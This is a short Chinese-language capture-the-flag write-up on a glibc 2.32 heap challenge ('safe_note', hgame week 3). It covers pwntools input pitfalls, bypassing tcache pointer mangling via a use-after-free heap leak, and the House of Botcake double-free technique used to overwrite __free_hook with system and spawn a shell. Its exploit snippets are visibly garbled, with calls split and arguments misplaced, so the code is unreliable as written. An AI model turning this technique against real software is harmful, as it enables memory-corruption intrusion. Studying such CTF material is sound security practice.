tcache题的亿点点细节
复现safe_note ->hgame/week3
glibc版本2.32
写函数sendline与send一定要确定
避免出现一些难以排查的bug,不要随便Copy....
def edit_note(page , content):
'Exit',b'3')
r.sendlineafter(b'Index:', str(page).encode())
r.sendlineafter(b'Content:' , content) r.sendafter(b
写堆题的函数sendlineafter的after的参数一定要接到末尾
对比:
'Index: ', str(page).encode()) #多空格
r.sendlineafter(b'Index:', str(page).encode()) #少空格 r.sendlineafter(b
对后面的recv()影响挺大 (至少很影响心情)
对于glibc版本2.32 Tcache 链表next指针PROTECT_PTR加密
PROTECT_PTR:对heap的基地址 tcacha[0] 与next指针进行异或
方法
0)#泄露tcacha的基地址 UAF
show_note(=u64(r.recv(5)+b'\x00\x00\x00') #调试发现recv(6)多一个\n
heap6,p64(free_hook ^ heap)) #异或操作 UAF 写fd
edit_note(print(f'heap = {hex(heap)}')
print(f'free_hook ^ heap = {hex(free_hook ^ heap)}')
然后再申请两次就可以劫持free_hook
House Of Botcake
这里再复习一下思路 #House of botcake (glibc > 2.25 且 UAF)
#House of botcake (glibc > 2.25 且 UAF)
...8)#将chunk8进入unsorted bin中
delete(7) #将chunk7进入unsorted bin中 与8合并 与8合并但是7开头
delete(10,0x80,b'0') #将tcache bin中腾出空间
add(8) #将chunk8 加入tcache中 doublefree
delete(11,0xff,b'\x00'*0x80+p64(0)+p64(0x91)+p64(libc.sym['__free_hook'])+b'\x00'*7) #申请一个稍大一些的指针
add(#写入到Tcache next中 通过 x /20gx 7_addr + 大小来查看推算 (大小 + 0 + size + fd)
#将tcache中next指针变为free hook
12,0x80,b'/bin/sh\x00')
add(13,0x80,p64(system_addr))#写system到free_hook
add(#delete 12 触发free_hook
即利用unsorted bin与tcache doublefree 后堆块重叠,申请出unsorted bin中的大堆块写还在free_chunk中的小堆块,再申请小堆块任意写。